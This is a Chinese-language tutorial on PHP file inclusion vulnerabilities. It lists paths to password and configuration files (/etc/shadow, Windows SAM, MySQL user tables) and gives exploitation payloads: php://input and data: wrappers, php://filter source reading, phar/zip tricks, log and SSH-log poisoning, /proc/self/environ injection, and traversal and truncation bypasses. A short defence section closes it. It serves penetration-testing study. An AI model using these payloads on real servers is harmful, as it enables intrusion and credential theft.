文件包含
原因
- 文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。
- php的文件包含相关函数都是无论其参数的扩展名是什么,都会将其内 容作为php代码解析,这可能就会造成任意的php代码执行。 如果一个功能需要包含用户传来的参数时,且开发者又没有对用户的输入进行检测和过滤,那么就 很可能使攻击者利用该功能进行文件包含漏洞的攻击。
相关函数
引起该漏洞的通常是
-
include()
- include() 如果出错的话,只会提出警告,会继续执行后续语句。
-
include_once()
-
require()
- reuqire() 如果在包含的过程中有错,比如文件不存在等,则会直接退出,不执行后续语句
-
require_once()
-
fopen()
-
readfile()
…
原理:当使用这几个函数包含文件时,不管文件是什么类型,都会作为PHP文件解析
场景
-
具有相关的文件包含函数。
-
文件包含函数中存在动态变量,比如
include $file;
。 -
攻击者能够控制该变量,比如
$file = $_GET['file'];
分类
LFI 本地文件包含漏洞
- 指的是能打开并包含本地文件的漏洞。
- 由于服务器上的文件并不是攻击者所能够 控制的,因此该情况下,攻击着更多的会包含一些 固定的系统配置文件,从而读取系统敏 感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。
RFI 远程文件包含漏洞
-
指能够包含远程服务器上的文件并执行,能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码。
-
条件 :需要在php.ini中配置
- allow_url_fopen = On
- allow_url_include = On
常见敏感目录
-
Windows
c:/boot.ini //查看系统版本 c:/windows/php.ini //php配置信息 c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码 c:/winnt/php.ini c:/winnt/my.ini c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码 c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码 c:\Program Files\Serv-U\ServUDaemon.ini c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置 c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码 c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此 c:\Program Files\RhinoSoft.com\ServUDaemon.exe C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件 //存储了pcAnywhere的登陆密码 c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf //查看WINDOWS系统apache文件 c:/Resin-3.0.14/conf/resin.conf //查看jsp开发的网站 resin文件配置信息. c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机 d:\APACHE\Apache2\conf\httpd.conf C:\Program Files\mysql\my.ini C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
-
Linux/Unix
/etc/passwd // 账户信息 /etc/shadow // 账户密码文件 /usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件 /usr/local/apache2/conf/httpd.conf /usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置 /usr/local/app/php5/lib/php.ini //PHP相关设置 /etc/sysconfig/iptables //从中得到防火墙规则策略 /etc/httpd/conf/httpd.conf // apache配置文件 /etc/rsyncd.conf //同步程序配置文件 /etc/my.cnf //mysql的配置文件 /etc/redhat-release //系统版本 /etc/issue /etc/issue.net /usr/local/app/php5/lib/php.ini //PHP相关设置 /usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置 /etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件 /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上 /usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看 /etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf 查看linux APACHE虚拟主机配置文件 /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上 /usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看 /etc/sysconfig/iptables 查看防火墙策略 load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录 replace(load_file(0×2F6574632F706173737764),0×3c,0×20) replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
包含姿势
php伪协议
php.ini设置
-
在php.ini里有两个重要的参数allow_url_fopen和allow_url_include
-
allow_url_fopen:默认值是ON,允许url里的封装协议访问文件
-
allow_url_include:默认值是OFF,不允许包含url里的封装协议包含文件
-
php://input
php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。
注:当enctype=”multipart/form-data”时,php://input是无效的。
-
利用条件:allow_url_include=On
-
姿势:
index.php ?file=php://input POST: <? phpinfo();?>
php://fiter
-
用于任意文件读取,有时也可以用于getshell
-
不需要开启allow_url_include
-
php://filter是一种元封装器,用于数据流打开时筛选过滤应用。这对于一体式(all-in-one)的文件函数非常有用。类似readfile()、file()、file_get_contents(),在数据流读取之前没有机会使用其他过滤器。
-
参数
名称 描述 resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流。 read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔 write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔 <;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。 -
用法
php://filter/[read/write]=string.[rot13/strip_tags/…..]/resource=xxx
-
filter和string过滤器连用可以对字符串进行过滤。filter的read和write参数有不同的应用场景。read用于include()和file_get_contents(),write用于file_put_contents()中。
php://filter/convert.base64-[encode/decode]/resource=xxx
-
-
姿势:
1. index.php?file=php://filter/read=convert.base64-encode/resource=index.php
2. index.php?file=php://filter/convert.base64-encode/resource=index.php
通过指定末尾的文件,可以读取经base64加密后的文件源码,之后再base64解码一下就行。虽然不能直接获取到shell等,但能读取敏感文件危害也是挺大的。
phar://
-
条件:php版本>=php5.3.0
-
姿势
-
建立个文件如phpinfo.txt,其内容为
<?php phpinfo(); ?>
,打包成zip压缩包 -
指定绝对路径
index.php?file=phar://D:/phpStudy/WWW/fileinclude/test.zip/phpinfo.txt
-
zip://(压缩)
-
条件:php版本>=5.3.0
-
姿势
-
构造 zip包的方法同phar
-
指定绝对路径,同事将#编码为%23,之后天上压缩包内的文件。
-
data:URL schema
-
条件
- php版本大于等于5.2
- allow_url_fopen = On
- allow_url_include = On
-
姿势
?file=data://text/plain;base64,base64编码的payload
(需要allow_url_include=On)
1. index.php?file=data:text/plain,<?php phpinfo();?>
2. index.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b(base64编码<?php phpinfo();?>,%2b的编码+)
包含session
-
条件:session文件路径已知,且其中内容部分可控
-
姿势
常见的session存放位置:
- /var/lib/php/sess_PHPSESSID
- /var/lib/php/sess_PHPSESSID
- /tmp/sess_PHPSESSID
- /tmp/sessions/sess_PHPSESSID
-
session的文件名格式为sess_[phpsessid]。而phpsessid在发送的请求的cookie字段中可以看到。
-
可以先包含进session文件,观察里面的内容,然后根据里面的字段来发现可控的变量,从而利用变量来写入payload,并之后再次包含从而执行php代码。
包含日志
常见路径
/var/log/apache/access.log
/var/log/apache/error.log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/vsftpd.log
/var/log/sshd.log
/var/log/auth.log
/var/log/mail
/var/log/httpd/error_log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
访问日志
-
条件:
需要知道服务器日志的存储路径,且日志文件可读
-
姿势:
多数时候,服务器会将请求写入到日志文件中,例如apache。日志保存在路径/var/log/apache2中
如果是直接发起请求,会导致一些符号被编码使得包含无法正确解析。可以使用burp截包后修改。
SSH log
-
条件:
知道ssh-log的位置,且可读。默认情况下为 /var/log/auth.log姿势
- 用SSH连接
- 在ssh-log写入代码
- 姿势
- 用ssh连接
- 在ssh-log中写入代码
使用一句话作为用户名,连接
ssh <?php phpinfo();?>'@xxxxxxxxx'
包含environ
- 条件
- php以cgi方式运行,这样environ才会保持UA头。
- environ文件存储位置已知,且environ文件可读。
-
姿势
proc/self/environ中会保存user-agent头。如果在user-agent中插入php代码,则php代码会被写入到environ中。之后再包含它,
包含fd
包含临时文件
- php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用c:\winsdows\temp目录。在临时文件被删除之前,利用竞争即可包含该临时文件。
- 方法
- 知道包含的文件名,则可以暴力猜解
- 配合Phpinfo页面的Php variables,直接获取到上传文件的存储位置和临时文件名
包含上传文件
- 条件:知道上传的文件在什么地方,什么名字
- 姿势:配合上传漏洞
绕过姿势
指定前缀
目录遍历
- 利用
../
可以目录遍历
<?php
$file = $_GET['file'];
include '/var/www/'.$file;
?>
编码绕过
- 当
../
被过滤后,试用一下其他编码- URL编码
- 二次编码
- 服务器的编码方式
指定后缀
<?php
$file = $_GET['file'];
include $file.'/test/test.php';
?>
- 利用query(加?)或者fragment(加#)
protocol :// hostname[:port] / path / [;parameters][?query]#fragment
利用协议
- zip和phar协议
00截断
- 长度截断Linux最大长度为4096,windows为256
- 0字节截断,php版本低于5.3.4
- magic_quotes_gpc=off
路径长度截断
/etc/passwd/././././././.[…]/./././././.
(php版本小于5.2.8(?)可以成功,linux需要文件名长于4096,windows需要长于256)
点号截断
/boot.ini/………[…]…………
(php版本小于5.2.8(?)可以成功,只适用windows,点号需要长于256)
防御方案
php
配置open_basedir
- 做好文件权限
- 过滤危险字符